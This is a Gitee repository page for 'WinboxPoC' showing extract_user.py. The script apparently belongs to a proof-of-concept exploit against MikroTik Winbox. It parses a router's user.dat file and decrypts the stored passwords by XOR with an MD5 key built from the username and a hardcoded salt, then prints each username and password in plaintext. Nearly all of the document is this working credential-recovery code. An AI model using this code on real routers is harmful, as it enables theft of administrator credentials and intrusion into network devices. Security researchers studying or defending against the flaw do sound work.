Ai
1 Star 0 Fork 0

小义的爸爸/WinboxPoC

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
克隆/下载
extract_user.py 1.50 KB
一键复制 编辑 原始数据 按行查看 历史
Deantwo 提交于 2020-01-14 20:34 +08:00 . Changed decode to use UTF-8 and backslash notation
#!/usr/bin/env python3
import sys, hashlib
def decrypt_password(user, pass_enc):
key = hashlib.md5(user + b"283i4jfkai3389").digest()
passw = ""
for i in range(0, len(pass_enc)):
passw += chr(pass_enc[i] ^ key[i % len(key)])
return passw.split("\x00")[0]
def extract_user_pass_from_entry(entry):
user_data = entry.split(b"\x01\x00\x00\x21")[1]
pass_data = entry.split(b"\x11\x00\x00\x21")[1]
user_len = user_data[0]
pass_len = pass_data[0]
username = user_data[1:1 + user_len]
password = pass_data[1:1 + pass_len]
return username, password
def get_pair(data):
user_list = []
entries = data.split(b"M2")[1:]
for entry in entries:
try:
user, pass_encrypted = extract_user_pass_from_entry(entry)
except:
continue
pass_plain = decrypt_password(user, pass_encrypted)
user = user.decode("utf_8", "backslashreplace")
user_list.append((user, pass_plain))
return user_list
def dump(data):
user_pass = get_pair(data)
for u, p in user_pass:
print("User:", u)
print("Pass:", p)
print()
if __name__ == "__main__":
if len(sys.argv) == 2:
if sys.argv[1] == "-":
user_file = sys.stdin.buffer.read()
else:
user_file = open(sys.argv[1], "rb").read()
dump(user_file)
else:
print("Usage:")
print("\tFrom file: \t", sys.argv[0], "user.dat")
print("\tFrom stdin:\t", sys.argv[0], "-")
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/csharphpython/WinboxPoC.git
git@gitee.com:csharphpython/WinboxPoC.git
csharphpython
WinboxPoC
WinboxPoC
master

搜索帮助